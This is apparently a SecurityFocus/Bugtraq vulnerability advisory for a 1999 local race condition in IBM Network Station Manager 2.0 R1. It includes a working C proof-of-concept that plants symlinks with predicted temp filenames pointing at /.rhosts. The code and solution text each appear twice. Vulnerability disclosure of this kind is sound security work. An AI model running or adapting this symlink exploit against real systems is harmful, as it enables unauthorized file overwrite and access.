IBM Network Station Manager Race Condition Vulnerability
BID:900
Info
IBM Network Station Manager Race Condition Vulnerability
| Bugtraq ID: | 900 |
| Class: | Race Condition Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Dec 27 1999 12:00AM |
| Updated: | Dec 27 1999 12:00AM |
| Credit: | First posted to Bugtraq by Brock Tellier <[email protected]> on December 27, 1999. |
| Vulnerable: |
IBM Network Station Manager 2.0 R1 |
| Not Vulnerable: | |
Exploit / POC
IBM Network Station Manager Race Condition Vulnerability
This program will create 30 symbolic links with brute-forced filenames:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
void main() {
/* Change these paths */
char dest[20] = "/.rhosts";
char source[50] = "/usr/netstation/nsm/users/xnec/xnec.nsu";
char sourcesym[50] = "/usr/netstation/nsm/users/xnec/xnec.nsu";
long sec;
int i;
sec = time(0);
for (i = 0; i < 30; i++) {
sprintf(sourcesym, "%s%d", source, (sec + i));
symlink(dest,sourcesym);
}
}
This program will create 30 symbolic links with brute-forced filenames:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
void main() {
/* Change these paths */
char dest[20] = "/.rhosts";
char source[50] = "/usr/netstation/nsm/users/xnec/xnec.nsu";
char sourcesym[50] = "/usr/netstation/nsm/users/xnec/xnec.nsu";
long sec;
int i;
sec = time(0);
for (i = 0; i < 30; i++) {
sprintf(sourcesym, "%s%d", source, (sec + i));
symlink(dest,sourcesym);
}
}
Solution / Fix
IBM Network Station Manager Race Condition Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
IBM Network Station Manager Race Condition Vulnerability
References:
References: